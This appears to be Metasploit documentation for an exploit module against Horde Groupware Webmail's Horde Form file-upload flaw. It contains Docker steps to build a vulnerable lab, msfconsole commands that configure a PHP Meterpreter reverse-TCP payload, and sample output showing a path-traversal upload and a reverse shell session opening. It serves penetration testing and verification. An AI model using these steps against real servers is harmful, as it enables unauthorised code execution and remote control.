Horde Groupware Webmail is a popular open-source groupware platform written in PHP. A vulnerability allows an authenticated, unprivileged user to create a malicious PHP file under the web root and gain arbitrary code execution on the server. 

## Vulnerable Application

The Horde subcomponent Horde Form < 2.0.19 is affected. This module was specifically tested against Horde Groupware Webmail Edition 5.2.22 and 5.2.17 with Horde Form 2.0.18 installed with PEAR on Debian.

### Docker install on Ubuntu 18.04

Please folow these steps to setup a vulnerable version of Horde in Docker on a Ubuntu.

1. Set up a [Ubuntu](http://www.ubuntu.com/) 18.04 box.
2. Open a terminal, and enter: ```sudo apt-get install docker.io```. Make sure Docker is properly configured and your current user has permession to use it.
3. Enter: ```mkdir horde_form_file_upload``` to create a folder.
4. Enter: ```cd horde_form_file_upload``` to enter that folder.
5. Create a ```Dockerfile``` in it with the following content.

```
FROM debian

RUN apt-get update
RUN apt-get install --yes --no-install-recommends \
    apache2 \
    ca-certificates \
    dovecot-imapd \
    libapache2-mod-php \
    mysql-server \
    php-mysqli \
    php-pear \
    rsyslog

RUN pear upgrade PEAR
RUN pear channel-discover pear.horde.org
RUN pear install horde/horde_role
RUN rm -r /var/www/html/ && mkdir /var/www/html/
RUN echo /var/www/html/ | pear run-scripts horde/Horde_Role
RUN pear install -a -B horde/webmail-5.2.22
# Uninstall end reinstall the vulnerable version
RUN pear uninstall -n horde/Horde_Form
RUN pear install -a -B horde/Horde_Form-2.0.18 
RUN sed -i "/'secure' => 'tls',/d" /var/www/html/imp/config/backends.php
RUN chown -R www-data:www-data /var/www/html/

RUN useradd -m -G mail user && echo 'user:user' | chpasswd

RUN echo 'disable_plaintext_auth = no' | tee /etc/dovecot/conf.d/99-auth.conf

ENTRYPOINT \
           /etc/init.d/mysql start && \
           echo 'CREATE DATABASE IF NOT EXISTS horde;' | mysql && \
           echo 'CREATE USER IF NOT EXISTS horde;' | mysql && \
           echo 'GRANT ALL ON horde.* TO horde IDENTIFIED BY "horde";' | mysql && \
           { echo mysqli;    sleep 0.3; \
             echo horde;     sleep 0.3; \
             echo horde;     sleep 0.3; \
             echo tcp;       sleep 0.3; \
             echo localhost; sleep 0.3; \
             echo;           sleep 0.3; \
             echo horde;     sleep 0.3; \
             echo;           sleep 0.3; \
             echo false;     sleep 0.3; \
             echo;           sleep 0.3; \
             echo 1;         sleep 0.3; } | webmail-install && \
           dovecot && \
           /etc/init.d/apache2 start && \
           tail -F /var/log/apache2/access.log /var/log/syslog
```

6. Enter: ```docker build . -t horde-img``` to build the Docker image.
7. Enter: ```docker run -p8888:80 --name horde-inst horde-img``` to run the Docker instance with the name ```horde-inst```.
8. Get the Docker host ip for reverse connection. In Linux, enter: ```ip -4 addr show docker0 | grep -Po 'inet \K[\d.]+'```.

## Verification Steps

After setting up Horde, you can use your exploit module:

1. Start msfconsole
2. Do: ```use exploit/multi/http/horde_form_file_upload```
3. Do: ```set RHOSTS 127.0.0.1```
4. Do: ```set RPORT 8888```
5. Do: ```set payload php/meterpreter/reverse_tcp```
6. Do: ```set LHOST [HOST IP]```
7. Do: ```set VHOST horde.lab```
8. Do: ```set USERNAME user ```
9. Do: ```set PASSWORD user```
10. Do: ```exploit```
11. And you should get a session

## Scenarios

### Horde Groupware Webmail Edition 5.2.22 with Horde Form 2.0.18 on a Debian stretch on Docker running on an Ubuntu 16.04

```
msf exploit(multi/http/horde_form_file_upload) > exploit

[*] Started reverse TCP handler on 172.17.0.1:4444
[*] Uploading payload to ../var/www/html/static/mxkyfrlztogn.php
[*] Sending stage (38247 bytes) to 172.17.0.3
[*] Meterpreter session 1 opened (172.17.0.1:4444 -> 172.17.0.3:47720) at 2019-03-29 15:27:53 +0000

meterpreter > 
```
